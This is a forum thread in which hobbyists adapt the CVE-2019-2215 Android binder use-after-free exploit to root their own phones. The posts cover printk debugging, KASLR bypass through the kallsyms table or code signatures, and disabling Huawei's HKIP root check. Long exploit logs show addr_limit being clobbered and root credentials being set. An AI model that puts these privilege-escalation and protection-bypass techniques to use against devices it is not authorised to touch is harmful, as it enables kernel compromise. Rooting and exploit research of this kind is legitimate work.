Root with CVE-2019-2215?

DrZener

Senior Member
Feb 23, 2017
55
9
0
we aren't trying to overwrite the waitqueue. the write at iovec at IOVEC_INDX_FOR_WQ -1 will be performed first, then the rest of the write will block until the child reads the dummy data out of the pipe (because we set a max size for the pipe). once the child reads, this signals that the waitqueue part of the iovec was overwritten and the writev will continue. at this point, the fields at IOVEC_INDX_FOR_WQ will be filled with the appropriate kernel pointer.
Got it.
Any idea about why I can't leak anything? is there anything I can check to see if overwriting is taking place?
 

chompie1337

Senior Member
Oct 2, 2019
99
30
0
Got it.
Any idea about why I can't leak anything? is there anything I can check to see if overwriting is taking place?
truthfully, i'm not sure. haven't worked with this bug at all on 32bit. if i had to guess, maybe wait_queue_head has some padding in it in between fields on 32bit. if you have another 32bit device that's unlocked, you could try compiling the kernel yourself and adding print statements to debug.
 

DrZener

Senior Member
Feb 23, 2017
55
9
0
truthfully, i'm not sure. haven't worked with this bug at all on 32bit. if i had to guess, maybe wait_queue_head has some padding in it in between fields on 32bit. if you have another 32bit device that's unlocked, you could try compiling the kernel yourself and adding print statements to debug.
wait_queue_head is 12 bytes (checked at compile time), so there's no padding.
I have a couple of 3.18 with unlockable bl (one of those is already temprooted) and the kernel source available. Is there something special I need to debug?
 

chompie1337

Senior Member
Oct 2, 2019
99
30
0
wait_queue_head is 12 bytes (checked at compile time), so there's no padding.
I have a couple of 3.18 with unlockable bl (one of those is already temprooted) and the kernel source available. Is there something special I need to debug?
nah, the way i do is it by adding printk statments and looking at them in dmesg. i'm sure there are more sophisticated ways of doing it, but i don't know of any that don't require sodering. if anyone knows of any, please share! anyway, i'd start by adding a printk statement where kfree is called for binder_thread, and where the iovec array gets allocated in the writev syscall and see if they match the same memory address. you'll be able to tell what printk statements related to the exploit process by looking at the pid/tid printed by the message line. good luck!
 

DrZener

Senior Member
Feb 23, 2017
55
9
0
nah, the way i do is it by adding printk statments and looking at them in dmesg. i'm sure there are more sophisticated ways of doing it, but i don't know of any that don't require sodering. if anyone knows of any, please share! anyway, i'd start by adding a printk statement where kfree is called for binder_thread, and where the iovec array gets allocated in the writev syscall and see if they match the same memory address. you'll be able to tell what printk statements related to the exploit process by looking at the pid/tid printed by the message line. good luck!
Well, it sounds very tricky ( I have no idea how to patch a syscall) but I can try.
Stupid question: can I read back iovec_array[some_index].iov_base to see if it was overwritten with a kernel address?
 

chompie1337

Senior Member
Oct 2, 2019
99
30
0
Well, it sounds very tricky ( I have no idea how to patch a syscall) but I can try.
Stupid question: can I read back iovec_array[some_index].iov_base to see if it was overwritten with a kernel address?
not from userspace, as it will all happen in the kernel. it's not tricky at all, as when you compile the kernel yourself you just add print statements in the places you are interested in. you just have to find the corresponding parts of the code.

for example, here is where the writev syscall is defined on this kernel:
http://androidxref.com/kernel_3.18/xref/fs/read_write.c#905.

here is where the iovec array is allocated for that call:
http://androidxref.com/kernel_3.18/xref/fs/read_write.c#754

if i wanted to know if the uaf is happening i would add:
Code:
printk("iovec array kernel ptr %lx\n", (unsigned long) iov);
and same thing in binder.c where kfree(thread) occurs
 
  • Like
Reactions: Rortiz2

DrZener

Senior Member
Feb 23, 2017
55
9
0
not from userspace, as it will all happen in the kernel. it's not tricky at all, as when you compile the kernel yourself you just add print statements in the places you are interested in. you just have to find the corresponding parts of the code.

for example, here is where the writev syscall is defined on this kernel:
http://androidxref.com/kernel_3.18/xref/fs/read_write.c#905.

here is where the iovec array is allocated for that call:
http://androidxref.com/kernel_3.18/xref/fs/read_write.c#754

if i wanted to know if the uaf is happening i would add:
Code:
printk("iovec array kernel ptr %lx\n", (unsigned long) iov);
and same thing in binder.c where kfree(thread) occurs
Thanks!
Patched, here's the output:
Code:
[  256.510229] <0>binder_thread kernel ptr c8700600
[  256.510250] <0>iovec array kernel ptr c8700600
 

Supersonic27543

Senior Member
Nov 14, 2016
646
318
63
I found what kills the exploit in my device when it tries to use root privileges. Looks like HKIP (Huawei Kernel Integrity Protection) exists in these kernels, but as it looks so far it doesn't use any hardware based hypervisors. I haven't digged much into this but it seems to evaluate under certain criteria whether a UID to 0 escalation is "legal" and sends a SIGKILL if it isn't. But skimming the code it looks like setting both kernel addresses hkip_uid_root_bits and hkip_gid_root_bits to 1 would turn it off. (Not sure whether this will completely bypass it, it looks counterintuitive that a kernel protection that is meant to protect against a privileged process can be disabled by flipping an address)
 
Last edited:

DrZener

Senior Member
Feb 23, 2017
55
9
0
I found what kills the exploit in my device when it tries to use root privileges. Looks like the HKIP (Huawei Kernel Integrity Protection) thing is not just talk, but as it looks so far it doesn't use any "hardware based hypervisors". I haven't digged much into this but it seems to evaluate under certain criteria whether a UID to 0 escalation is "legal" and sends a SIGKILL if it isn't. But skimming the code it looks like setting both kernel addresses hkip_uid_root_bits and hkip_gid_root_bits to 1. (Not sure whether this will completely bypass it, it looks counterintuitive that a kernel protection that is meant to protect against a privileged process can be disabled by flipping an address)
Have you tried to use RW capabilities to bypass that check?
 

Supersonic27543

Senior Member
Nov 14, 2016
646
318
63
Have you tried to use RW capabilities to bypass that check?
I still can't figure out how to bypass KASLR (would it be somehow possible to bypass it without first bypassing KASLR?) If there is no other way I'm going to compile the kernel this weekend and find the offsets to bypass KASLR the way the original exploit did.
BTW @chompie1337 did you figure out a way to bypass KASLR on your 4.4 device?
Thanks!
 

chompie1337

Senior Member
Oct 2, 2019
99
30
0
I still can't figure out how to bypass KASLR (would it be somehow possible to bypass it without first bypassing KASLR?) If there is no other way I'm going to compile the kernel this weekend and find the offsets to bypass KASLR the way the original exploit did.
BTW @chompie1337 did you figure out a way to bypass KASLR on your 4.4 device?
Thanks!
i did it by searching for code signatures, starting at some base address. if you find somewhere in your kernel binary that references the global you want, i would look for those bytes and calculate the address that way
 

arpruss

Senior Member
Jul 3, 2010
847
413
0
pruss.mobi
One way to bypass KASLR would be to look at some of the fields in the task structure that always correspond to a particular kernel symbol, e.g., nsproxy or restart_block.fn. Once one has the correct address for that kernel symbol, one can search forward from the symbol in kernel memory to find the kallsyms table, look up the symbol in the table, and compare the kallsyms table address for the symbol with the actual memory address.
 

f41lbl0g

Senior Member
Mar 15, 2014
296
422
93
i did it by searching for code signatures, starting at some base address. if you find somewhere in your kernel binary that references the global you want, i would look for those bytes and calculate the address that way
Were you able to get a root shell on your s8 active using your version of the exploit?
 

Supersonic27543

Senior Member
Nov 14, 2016
646
318
63
i did it by searching for code signatures, starting at some base address. if you find somewhere in your kernel binary that references the global you want, i would look for those bytes and calculate the address that way
One way to bypass KASLR would be to look at some of the fields in the task structure that always correspond to a particular kernel symbol, e.g., nsproxy or restart_block.fn. Once one has the correct address for that kernel symbol, one can search forward from the symbol in kernel memory to find the kallsyms table, look up the symbol in the table, and compare the kallsyms table address for the symbol with the actual memory address.
Thank you very much for your ideas! (and @arpruss thanks for coming back to share your ideas) I implemented @arpruss's suggestion to the best of my knowledge (if I can't get this working I will search with code signatures. It's harder but looks completely foolproof. Nice idea BTW!) and am getting some strange outputs. Because I don't know how to look up task_struct fields by name I just iterated through all task_struct values that could be kernel pointers because task_struct isn't very large, setting them as the kernel base. Also please forgive me if I'm missing something very obvious or have broken something, I'm still not familiar a lot with how this exploit works and I only know a little of C.

The changes I made (roughly):
1) Make search_base a global variable
2) Defining KERNEL_BASE as search_base
3) kptrLeak function iterates over the task_struct addresses and if an address has a value above 0xffffff0000000000, take that as the search_base and call loadKallsyms()
4) Terminate loadKallsyms() if kallsyms entry counts mismatch (else leads to a segmentation fault, or rarely a device crash or bus error)
5) Some other minor changes which I can't quite remember

The code gives this output:
Code:
MAIN: detected kernel version other than 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffe5dd8a8dc0
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffe7c998fab0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xffffffe5ea4b0000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: thread_info should be in stack
MAIN: parsing kernel stack to find thread_info
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffe5dd8a8dc0
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffe5ddde40b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
CHILD: extra leak
CHILD: Finished write to FIFO.
PARENT: writev() returns 0x17008
PARENT: Reading leaked data
PARENT: Reading extra leaked data
CHILD: wrote 69688
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffe5dd8a8dc0
MAIN: thread_info_ptr = ffffffe5ea4b01a0
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xffffffe5ea4b01a8
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xffffffe5ea4b01a0
CHILD: wrote 69648
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct

leaking kernel pointer
searching at 0xffffffe5ea4b0000
searching at 0xffffffe5dd8a8de8
searching at 0xffffffe5dd8a8de8
searching at 0xffffffe7de875280
searching at 0xffffff94c3209420
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
searching at 0xffffffe7d7474930
searching at 0xffffffe7d745f930
searching at 0xffffffe7d7474030
searching at 0xffffffe5dd8a9040
searching at 0xffffffe5dd8a9040
searching at 0xffffffe7d7489128
searching at 0xffffff94c4471808
searching at 0xffffffe5dd8a9148
searching at 0xffffffe5dd8a91a8
searching at 0xffffff94c20fb554
searching at 0xffffffe7d745ac80
searching at 0xffffffe5dd8a9200
searching at 0xffffffe5dd8a9200
searching at 0xffffffe65ec32db8
searching at 0xffffffe65ec33b78
searching at 0xffffffe5dd8a9250
searching at 0xffffffe5dd8a9250
searching at 0xffffffe5dd8a9260
searching at 0xffffffe5dd8a9260
searching at 0xffffffe5dd8a9270
searching at 0xffffffe5e9efe800
searching at 0xffffffe5e9efe800
searching at 0xffffffe7ceac9420
searching at 0xffffffe7ceac92c0
searching at 0xffffffe65ce24bb0
searching at 0xffffffe5c9254160
searching at 0xffffff94c20b883c
searching at 0xffffffe7cd33a940
searching at 0xffffffe7cd33a940
searching at 0xffffffe65ec32ee0
searching at 0xffffffe65ec32ee0
searching at 0xffffffe7cd33aed0
searching at 0xffffffe7cd33aed0
searching at 0xffffffe5dd8a8dc0
searching at 0xffffffe5dd8a9378
searching at 0xffffffe5dd8a9378
searching at 0xffffffe5dd8a9388
searching at 0xffffffe5dd8a9388
searching at 0xffffffe5cef05608
searching at 0xffffffe5cef05600
searching at 0xffffffe65ec32f30
searching at 0xffffffe5cef05600
searching at 0xffffffe7cd33af48
searching at 0xffffffe65ec32f48
searching at 0xffffffe5d26c2e80
searching at 0xffffffe5dd8a93e0
searching at 0xffffffe5dd8a93e0
searching at 0xffffffe5ddba0410
searching at 0xffffffe5ddba0410
searching at 0xffffffe5dd8a94a0
searching at 0xffffffe5dd8a94a0
searching at 0xffffffe5dd8a94b0
searching at 0xffffffe5dd8a94b0
searching at 0xffffffe5dd8a94c0
searching at 0xffffffe5dd8a94c0
searching at 0xffffffe5cdc4f480
searching at 0xffffffe5cdc4f480
searching at 0xffffffe7ce0f1740
searching at 0xffffffe7de87a680
searching at 0xffffff94c421f9c0
searching at 0xffffffe5ddba0400
searching at 0xffffffe5dd972940
searching at 0xffffffe5dd8a9548
searching at 0xffffffe5dd8a9548
searching at 0xffffffffffffffff
searching at 0xffffffff00000000
searching at 0xffffffe5ea76ec00
searching at 0xffffffe5ea76ec18
searching at 0xffffffe5de344d98
searching at 0xffffffe5dd8a96d0
searching at 0xffffffe5dd8a96d0
searching at 0xffffffe5dd8a9700
searching at 0xffffffe5dd8a9700
searching at 0xffffffe5dd8a9728
searching at 0xffffffe5dd8a9728
searching at 0xffffffe7ce0f1a80
searching at 0xffffffe5dd8a8dc0
searching at 0xffffffe5efb51b80
searching at 0xffffffe5e9efe800
searching at 0xffffff94c3a8c000
searching at 0xffffff94c4598000
searching at 0xffffffe5dd8a9460
searching at 0xffffffe7d749dfc0
searching at 0xffffffe5dd8a8dc0
searching at 0xffffffe5ea4b3920
searching at 0xffffffe5ea4b3a00
searching at 0xffffff94c2086f18
MAIN: kallsyms names start at 0xffffff94c3385a18 and have 54847 entries
MAIN: kallsyms names end at 0xffffff94c33f0c10
MAIN: **fail** kallsym entry count mismatch -460582799672
searching at 0xffffff80ffffffc8
searching at 0xffffffe7dc98a040
searching at 0xffffffe5de398000
searching at 0xffffffe5dd8a9ba8
searching at 0xffffffe5dd8a9ba8
searching at 0xffffffe5dde76e50
searching at 0xffffffe7dc815280
searching at 0xffffff94c3209420
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
searching at 0xffffffe5dd8a9c38
searching at 0xffffffe5dd8a9c38
kptrLeak finished


MAIN: using last successful search_base = ffffff94c3209420
MAIN: searching for selinux_enforcing
MAIN: searching for kallsyms format strings
MAIN: **partial failure** cannnot fix kallsyms format string
MAIN: searching for kallsyms table
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
MAIN: **fail** cannot find kallsyms table
MAIN: direct search didn't work, so searching via avc_denied
MAIN: searching for kallsyms format strings
MAIN: **partial failure** cannnot fix kallsyms format string
MAIN: searching for kallsyms table
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
MAIN: **fail** cannot find kallsyms table
MAIN: setting root credentials with cred offset 720
MAIN: UID = 0
MAIN: enabling capabilities
MAIN: SECCOMP status 0
MAIN: **FAIL** did not find selinux_enforcing symbol
MAIN: re-joining init mount namespace
Killed
The code I used is uploaded too. Also the entry counts 131463 and 76323 are persistent after reboots, but 54847 is not (it gave 58215 IIRC on a previous boot) There are 160849 lines in /proc/kallsyms.
Anyone have an idea about what is happening here?
(Sorry if this makes no sense but could the kallsyms table be split in two somehow? Or maybe the code doesn't find the kallsyms table at all?)
Thank you very much!
 

Attachments

Last edited:

arpruss

Senior Member
Jul 3, 2010
847
413
0
pruss.mobi
kallsyms tables start with 0x100 alignment. So you should align your search base by ANDing it with ~0xFF. I think what happened was that your search was misaligned and hence missed the start of the alignment.

Yes, you can't lookup fields by name, but you can be a bit clever by looking at the sort of data that neighboring fields have. For instance, the pid and tgid fields seem to both always have the process PID in them. Etc.
 

chompie1337

Senior Member
Oct 2, 2019
99
30
0
Were you able to get a root shell on your s8 active using your version of the exploit?
no :(

i'm close, i can bypass SELinux to attempt to employ the method in the Shen paper. I get past the execute_no_trans denial but I crash. i don't know why. someone messaged me saying they could bypass Knox for the S8 but they didn't message me back, lol

---------- Post added at 07:01 PM ---------- Previous post was at 06:59 PM ----------

Thank you very much for your ideas! (and @arpruss thanks for coming back to share your ideas) I implemented @arpruss's suggestion to the best of my knowledge (if I can't get this working I will search with code signatures. It's harder but looks completely foolproof. Nice idea BTW!) and am getting some strange outputs. Because I don't know how to look up task_struct fields by name I just iterated through all task_struct values that could be kernel pointers because task_struct isn't very large, setting them as the kernel base. Also please forgive me if I'm missing something very obvious or have broken something, I'm still not familiar a lot with how this exploit works and I only know a little of C.

The changes I made (roughly):
1) Make search_base a global variable
2) Defining KERNEL_BASE as search_base
3) kptrLeak function iterates over the task_struct addresses and if an address has a value above 0xffffff0000000000, take that as the search_base and call loadKallsyms()
4) Terminate loadKallsyms() if kallsyms entry counts mismatch (else leads to a segmentation fault, or rarely a device crash or bus error)
5) Some other minor changes which I can't quite remember

The code gives this output:
Code:
MAIN: detected kernel version other than 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffe5dd8a8dc0
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffe7c998fab0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xffffffe5ea4b0000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: thread_info should be in stack
MAIN: parsing kernel stack to find thread_info
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffe5dd8a8dc0
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffe5ddde40b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
CHILD: extra leak
CHILD: Finished write to FIFO.
PARENT: writev() returns 0x17008
PARENT: Reading leaked data
PARENT: Reading extra leaked data
CHILD: wrote 69688
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffe5dd8a8dc0
MAIN: thread_info_ptr = ffffffe5ea4b01a0
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xffffffe5ea4b01a8
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xffffffe5ea4b01a0
CHILD: wrote 69648
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct

leaking kernel pointer
searching at 0xffffffe5ea4b0000
searching at 0xffffffe5dd8a8de8
searching at 0xffffffe5dd8a8de8
searching at 0xffffffe7de875280
searching at 0xffffff94c3209420
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
searching at 0xffffffe7d7474930
searching at 0xffffffe7d745f930
searching at 0xffffffe7d7474030
searching at 0xffffffe5dd8a9040
searching at 0xffffffe5dd8a9040
searching at 0xffffffe7d7489128
searching at 0xffffff94c4471808
searching at 0xffffffe5dd8a9148
searching at 0xffffffe5dd8a91a8
searching at 0xffffff94c20fb554
searching at 0xffffffe7d745ac80
searching at 0xffffffe5dd8a9200
searching at 0xffffffe5dd8a9200
searching at 0xffffffe65ec32db8
searching at 0xffffffe65ec33b78
searching at 0xffffffe5dd8a9250
searching at 0xffffffe5dd8a9250
searching at 0xffffffe5dd8a9260
searching at 0xffffffe5dd8a9260
searching at 0xffffffe5dd8a9270
searching at 0xffffffe5e9efe800
searching at 0xffffffe5e9efe800
searching at 0xffffffe7ceac9420
searching at 0xffffffe7ceac92c0
searching at 0xffffffe65ce24bb0
searching at 0xffffffe5c9254160
searching at 0xffffff94c20b883c
searching at 0xffffffe7cd33a940
searching at 0xffffffe7cd33a940
searching at 0xffffffe65ec32ee0
searching at 0xffffffe65ec32ee0
searching at 0xffffffe7cd33aed0
searching at 0xffffffe7cd33aed0
searching at 0xffffffe5dd8a8dc0
searching at 0xffffffe5dd8a9378
searching at 0xffffffe5dd8a9378
searching at 0xffffffe5dd8a9388
searching at 0xffffffe5dd8a9388
searching at 0xffffffe5cef05608
searching at 0xffffffe5cef05600
searching at 0xffffffe65ec32f30
searching at 0xffffffe5cef05600
searching at 0xffffffe7cd33af48
searching at 0xffffffe65ec32f48
searching at 0xffffffe5d26c2e80
searching at 0xffffffe5dd8a93e0
searching at 0xffffffe5dd8a93e0
searching at 0xffffffe5ddba0410
searching at 0xffffffe5ddba0410
searching at 0xffffffe5dd8a94a0
searching at 0xffffffe5dd8a94a0
searching at 0xffffffe5dd8a94b0
searching at 0xffffffe5dd8a94b0
searching at 0xffffffe5dd8a94c0
searching at 0xffffffe5dd8a94c0
searching at 0xffffffe5cdc4f480
searching at 0xffffffe5cdc4f480
searching at 0xffffffe7ce0f1740
searching at 0xffffffe7de87a680
searching at 0xffffff94c421f9c0
searching at 0xffffffe5ddba0400
searching at 0xffffffe5dd972940
searching at 0xffffffe5dd8a9548
searching at 0xffffffe5dd8a9548
searching at 0xffffffffffffffff
searching at 0xffffffff00000000
searching at 0xffffffe5ea76ec00
searching at 0xffffffe5ea76ec18
searching at 0xffffffe5de344d98
searching at 0xffffffe5dd8a96d0
searching at 0xffffffe5dd8a96d0
searching at 0xffffffe5dd8a9700
searching at 0xffffffe5dd8a9700
searching at 0xffffffe5dd8a9728
searching at 0xffffffe5dd8a9728
searching at 0xffffffe7ce0f1a80
searching at 0xffffffe5dd8a8dc0
searching at 0xffffffe5efb51b80
searching at 0xffffffe5e9efe800
searching at 0xffffff94c3a8c000
searching at 0xffffff94c4598000
searching at 0xffffffe5dd8a9460
searching at 0xffffffe7d749dfc0
searching at 0xffffffe5dd8a8dc0
searching at 0xffffffe5ea4b3920
searching at 0xffffffe5ea4b3a00
searching at 0xffffff94c2086f18
MAIN: kallsyms names start at 0xffffff94c3385a18 and have 54847 entries
MAIN: kallsyms names end at 0xffffff94c33f0c10
MAIN: **fail** kallsym entry count mismatch -460582799672
searching at 0xffffff80ffffffc8
searching at 0xffffffe7dc98a040
searching at 0xffffffe5de398000
searching at 0xffffffe5dd8a9ba8
searching at 0xffffffe5dd8a9ba8
searching at 0xffffffe5dde76e50
searching at 0xffffffe7dc815280
searching at 0xffffff94c3209420
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
searching at 0xffffffe5dd8a9c38
searching at 0xffffffe5dd8a9c38
kptrLeak finished


MAIN: using last successful search_base = ffffff94c3209420
MAIN: searching for selinux_enforcing
MAIN: searching for kallsyms format strings
MAIN: **partial failure** cannnot fix kallsyms format string
MAIN: searching for kallsyms table
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
MAIN: **fail** cannot find kallsyms table
MAIN: direct search didn't work, so searching via avc_denied
MAIN: searching for kallsyms format strings
MAIN: **partial failure** cannnot fix kallsyms format string
MAIN: searching for kallsyms table
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
MAIN: **fail** cannot find kallsyms table
MAIN: setting root credentials with cred offset 720
MAIN: UID = 0
MAIN: enabling capabilities
MAIN: SECCOMP status 0
MAIN: **FAIL** did not find selinux_enforcing symbol
MAIN: re-joining init mount namespace
Killed
The code I used is uploaded too. Also the entry counts 131463 and 76323 are persistent after reboots, but 54847 is not (it gave 58215 IIRC on a previous boot) There are 160849 lines in /proc/kallsyms.
Anyone have an idea about what is happening here?
(Sorry if this makes no sense but could the kallsyms table be split in two somehow? Or maybe the code doesn't find the kallsyms table at all?)
Thank you very much!
i think in my attempts that code was able to "find" the kallsyms table but the dereference was failing. i just used code signatures as it was easier and most of the stuff i was looking for isn't in kallsyms
 

Supersonic27543

Senior Member
Nov 14, 2016
646
318
63
kallsyms tables start with 0x100 alignment. So you should align your search base by ANDing it with ~0xFF. I think what happened was that your search was misaligned and hence missed the start of the alignment.

Yes, you can't lookup fields by name, but you can be a bit clever by looking at the sort of data that neighboring fields have. For instance, the pid and tgid fields seem to both always have the process PID in them. Etc.
Yes, I was wondering why the offset in loadKallsyms was ANDed! (So I should AND search_base the same way, right?) BTW where should I AND the search_base? Just after the search_base was selected, somewhere in loadKallsyms or find_kallsyms_addresses, or elsewhere?
I left a few minutes ago and don't have access to a PC now, would try dumping addresses adjacent to the possible addresses and looking for patterns when I get back!
Thank you!
 
Last edited:

arpruss

Senior Member
Jul 3, 2010
847
413
0
pruss.mobi
Yes, I was wondering why the offset in loadKallsyms was ANDed! (So I should AND search_base the same way, right?) BTW where should I AND the search_base? Just after the search_base was selected, somewhere in loadKallsyms or find_kallsyms_addresses, or elsewhere?
Thank you!
It has to happen before find_kallsyms_addresses() starts going through memory. You can do it in loadKallsyms() if you like or in find_kallsyms_addresses().

By the way, on a device with KASLR, how do you recognize a kernel pointer?
 

Supersonic27543

Senior Member
Nov 14, 2016
646
318
63
It has to happen before find_kallsyms_addresses() starts going through memory. You can do it in loadKallsyms() if you like or in find_kallsyms_addresses().

By the way, on a device with KASLR, how do you recognize a kernel pointer?
Thanks, would try when I get to my PC. :)
The code I added doesn't accurately recognize kernel pointers when iterating for search_base, it just takes all addresses that are values found in the task_struct, and above ffffff0000000000.